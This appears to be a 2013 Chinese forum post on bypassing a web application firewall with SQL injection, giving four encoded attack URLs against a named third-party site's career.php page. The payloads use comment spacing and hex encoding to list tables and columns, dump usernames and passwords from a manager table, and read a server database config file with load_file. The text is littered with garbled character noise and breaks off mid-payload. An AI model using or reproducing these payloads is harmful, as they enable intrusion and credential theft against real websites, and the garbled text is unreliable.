标题: 绕过waf注入 [打印本页] 作者: admin 时间: 2013-3-8 21:51 标题: 绕过waf注入 waf过滤了 union select from 等关键词5 |+ z2 K1 t6 J7 B; k3 J
, d6 n r9 V9 ]+ d
" ~. n6 D4 u2 F4 a4 @3 Y3 [( P
1.列当前库所有表* c( x! Q# {9 d: p: W1 B http://jyht.co.uk/career.php , T5 m" s6 q l" i?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18 0 w) x7 g2 | P/ Y# ]+ A ! M/ |- M" `" R
2.获取字段( w( g0 s, G4 X( V http://jyht.co.uk/career.php 4 }) Y( r& P2 \2 C?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%324 L8 z) s o0 [, w* L" F/ A
, k7 y2 s9 v! l0 y+ K3.直接获取数据 2 M3 j3 X, c7 T. c2 Jhttp://jyht.co.uk/career.php9 t' L$ |, W! b1 }5 O# h$ E) i
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%724 S% C* c* y3 ^, k M4 t
" m c( c" t3 g) y" d- c 5 Z# H. A- \3 k0 C4.读文件 可以不用hex 直接在页面显示(必须是root)# b, t, a5 w, v L) t/ p. T- b http://jyht.co.uk/career.php0 ?9 j) E) l8 h6 x
?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E70687